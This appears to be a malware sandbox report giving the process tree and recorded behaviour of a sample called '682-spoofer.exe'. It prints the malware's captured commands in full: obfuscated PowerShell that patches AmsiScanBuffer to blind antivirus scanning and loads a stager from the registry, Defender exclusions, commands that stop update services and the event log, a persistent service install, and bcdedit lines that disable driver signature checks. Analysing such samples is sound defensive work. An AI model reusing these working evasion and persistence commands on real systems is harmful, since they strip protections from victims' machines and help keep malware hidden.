PID 3332 wrote to memory of 4196	3332	ywkzpvlakbmn.exe	164
PID 3332 wrote to memory of 4196	3332	ywkzpvlakbmn.exe	164
PID 3332 wrote to memory of 4196	3332	ywkzpvlakbmn.exe	164
PID 3944 wrote to memory of 4484	3944	powershell.EXE	167
PID 3944 wrote to memory of 4484	3944	powershell.EXE	167
PID 3944 wrote to memory of 4484	3944	powershell.EXE	167
PID 3944 wrote to memory of 4484	3944	powershell.EXE	167
PID 3944 wrote to memory of 4484	3944	powershell.EXE	167
PID 4484 wrote to memory of 612	4484	dllhost.exe	5
PID 4484 wrote to memory of 664	4484	dllhost.exe	7
PID 4484 wrote to memory of 876	4484	dllhost.exe	11
PID 4484 wrote to memory of 1008	4484	dllhost.exe	13
PID 4484 wrote to memory of 448	4484	dllhost.exe	14
PID 4484 wrote to memory of 936	4484	dllhost.exe	15
PID 4484 wrote to memory of 1048	4484	dllhost.exe	16
PID 4484 wrote to memory of 1124	4484	dllhost.exe	17
PID 4484 wrote to memory of 1140	4484	dllhost.exe	19
PID 4484 wrote to memory of 1188	4484	dllhost.exe	20
PID 4484 wrote to memory of 1232	4484	dllhost.exe	21
PID 4484 wrote to memory of 1304	4484	dllhost.exe	22
PID 4484 wrote to memory of 1312	4484	dllhost.exe	23
PID 4484 wrote to memory of 1356	4484	dllhost.exe	24
PID 4484 wrote to memory of 1464	4484	dllhost.exe	25
PID 4484 wrote to memory of 1548	4484	dllhost.exe	26
PID 4484 wrote to memory of 1560	4484	dllhost.exe	27
PID 4484 wrote to memory of 1720	4484	dllhost.exe	28
PID 4484 wrote to memory of 1732	4484	dllhost.exe	29
PID 4484 wrote to memory of 1744	4484	dllhost.exe	30
PID 4484 wrote to memory of 1884	4484	dllhost.exe	31
PID 4484 wrote to memory of 1908	4484	dllhost.exe	32
PID 4484 wrote to memory of 1932	4484	dllhost.exe	33
PID 4484 wrote to memory of 1980	4484	dllhost.exe	34
PID 4484 wrote to memory of 2040	4484	dllhost.exe	35
PID 4484 wrote to memory of 1084	4484	dllhost.exe	36
PID 4484 wrote to memory of 1768	4484	dllhost.exe	37
PID 4484 wrote to memory of 2096	4484	dllhost.exe	38
PID 4484 wrote to memory of 2108	4484	dllhost.exe	39
PID 4484 wrote to memory of 2180	4484	dllhost.exe	41
PID 4484 wrote to memory of 2372	4484	dllhost.exe	42
PID 4484 wrote to memory of 2376	4484	dllhost.exe	43
PID 4484 wrote to memory of 2424	4484	dllhost.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:448
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ddb0e71c-b3d5-48bd-b8a9-91b0d0d38394}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4484
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{07a7a7aa-5e84-4e17-8787-7c66455e2ba4}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5156

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:664

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a2901047-3eda-468f-aa9c-5f16d8410c58 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-55b58378-b36b-42be-8987-0c0247370409 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-773a868c-0901-402f-9cfc-b70f52d1afb1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7be62344-98a1-4287-831f-265bc5bbf145 -LifetimeId:7cb55bdb-077d-42bd-af7e-f8db690672e4 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1232
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:oOIQNQRcepjf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AAzlPhhVXAsJtt,[Parameter(Position=1)][Type]$rFtAiMrAbY)$bLMmzWPYhSv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+'mo'+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+'e'+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+'e'+'T'+[Char](121)+''+'p'+'e',''+'C'+''+[Char](108)+'as'+'s'+''+','+''+[Char](80)+'ubli'+'c'+''+[Char](44)+'S'+'e'+''+'a'+''+'l'+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'C'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$bLMmzWPYhSv.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'p'+'e'+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$AAzlPhhVXAsJtt).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$bLMmzWPYhSv.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+',N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+','+'V'+''+[Char](105)+'rt'+'u'+''+[Char](97)+''+[Char](108)+'',$rFtAiMrAbY,$AAzlPhhVXAsJtt).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $bLMmzWPYhSv.CreateType();}$kjqVMpRvZpwry=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'of'+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+'nsa'+'f'+''+'e'+'N'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+'d'+''+'s'+'');$InjzGDjhEMzvPV=$kjqVMpRvZpwry.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+'r'+'o'+'c'+'Ad'+'d'+''+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QMGUtWzqhJupvBlJZQM=oOIQNQRcepjf @([String])([IntPtr]);$nTwNYqBATNwZoJFOqUoAQk=oOIQNQRcepjf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DvKTZGBJSWq=$kjqVMpRvZpwry.GetMethod(''+[Char](71)+'et'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+[Char](101)+'l3'+[Char](50)+'.'+'d'+''+[Char](108)+''+'l'+'')));$lUFFvlIBWwJCuS=$InjzGDjhEMzvPV.Invoke($Null,@([Object]$DvKTZGBJSWq,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+'ar'+'y'+'A')));$DtXirdmnSwCKRCJWf=$InjzGDjhEMzvPV.Invoke($Null,@([Object]$DvKTZGBJSWq,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+'l'+[Char](80)+'r'+'o'+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$KvOgZUQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lUFFvlIBWwJCuS,$QMGUtWzqhJupvBlJZQM).Invoke(''+[Char](97)+''+'m'+'s'+'i'+''+[Char](46)+''+'d'+'l'+'l'+'');$VhJqUWpLLeoGkfULH=$InjzGDjhEMzvPV.Invoke($Null,@([Object]$KvOgZUQ,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+'a'+'n'+'B'+''+'u'+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$veAfNHDZzt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DtXirdmnSwCKRCJWf,$nTwNYqBATNwZoJFOqUoAQk).Invoke($VhJqUWpLLeoGkfULH,[uint32]8,4,[ref]$veAfNHDZzt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VhJqUWpLLeoGkfULH,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DtXirdmnSwCKRCJWf,$nTwNYqBATNwZoJFOqUoAQk).Invoke($VhJqUWpLLeoGkfULH,[uint32]8,0x20,[ref]$veAfNHDZzt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+'e'+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hzDhDykQvpxw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XMMliFoSjjLsyp,[Parameter(Position=1)][Type]$GfuettMsIY)$KWnBcJsmkkz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+'ted'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+'em'+[Char](111)+'r'+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+'AnsiCla'+[Char](115)+'s,'+'A'+''+[Char](117)+''+'t'+'o'+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$KWnBcJsmkkz.DefineConstructor('RTS'+[Char](112)+''+'e'+'ci'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'me'+','+''+[Char](72)+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$XMMliFoSjjLsyp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+'na'+[Char](103)+'ed');$KWnBcJsmkkz.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+'k'+[Char](101)+'',''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+'c,'+'H'+'id'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+'w'+''+[Char](83)+''+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$GfuettMsIY,$XMMliFoSjjLsyp).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $KWnBcJsmkkz.CreateType();}$xyKoeJiFZjOQD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+'ft'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+'a'+''+'f'+'eN'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+'e'+[Char](77)+'e'+'t'+''+[Char](104)+'o'+[Char](100)+''+'s'+'');$vJBixuOnUBoytk=$xyKoeJiFZjOQD.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+'r'+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VaGZLuDMgRnlvYmirOL=hzDhDykQvpxw @([String])([IntPtr]);$eCuDvdFbwyjhNuGxkbAiTX=hzDhDykQvpxw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FhADEPypSqt=$xyKoeJiFZjOQD.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mod'+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+'l')));$raXPCBDkuTqVBI=$vJBixuOnUBoytk.Invoke($Null,@([Object]$FhADEPypSqt,[Object](''+'L'+'oa'+[Char](100)+'L'+[Char](105)+''+[Char](98)+'rar'+[Char](121)+''+[Char](65)+'')));$kJdlHCchbXLieOiNf=$vJBixuOnUBoytk.Invoke($Null,@([Object]$FhADEPypSqt,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$sWgCYHl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($raXPCBDkuTqVBI,$VaGZLuDMgRnlvYmirOL).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$JfwdqMHbeHDmcbDLU=$vJBixuOnUBoytk.Invoke($Null,@([Object]$sWgCYHl,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$whZIGbOqgW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kJdlHCchbXLieOiNf,$eCuDvdFbwyjhNuGxkbAiTX).Invoke($JfwdqMHbeHDmcbDLU,[uint32]8,4,[ref]$whZIGbOqgW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$JfwdqMHbeHDmcbDLU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kJdlHCchbXLieOiNf,$eCuDvdFbwyjhNuGxkbAiTX).Invoke($JfwdqMHbeHDmcbDLU,[uint32]8,0x20,[ref]$whZIGbOqgW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'al'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1548
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1768

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3088

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3220
- C:\Users\Admin\AppData\Local\Temp\682-spoofer.exe
  "C:\Users\Admin\AppData\Local\Temp\682-spoofer.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAaQBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAdwBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AaABsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAegBpACMAPgA="
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Users\Admin\AppData\Roaming\injektion.exe
    "C:\Users\Admin\AppData\Roaming\injektion.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2852
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:728
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2728
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:2392
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:1028
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:4672
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4236
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:1080
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:3372
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:2832
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:2600
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "OOWPXDZS"
      4⤵
      Launches sc.exe
      PID:2324
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "OOWPXDZS" binpath= "C:\ProgramData\rrnskuerkioa\ywkzpvlakbmn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:3868
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:3952
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "OOWPXDZS"
      4⤵
      Launches sc.exe
      PID:2124
- - C:\Users\Admin\AppData\Roaming\682.exe
    "C:\Users\Admin\AppData\Roaming\682.exe"
    3⤵
    - Manipulates Digital Signatures
    - Modify Registry: Disable Windows Driver Blocklist
    - Executes dropped EXE
    - Enumerates connected drives
    - Modifies trusted root certificate store through registry
    - Modifies system certificate store
    PID:2116
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1476
  - - C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set testsigning on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:980
  - - C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set nointegritychecks on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4672

C:\Windows\system32\svchost.exe
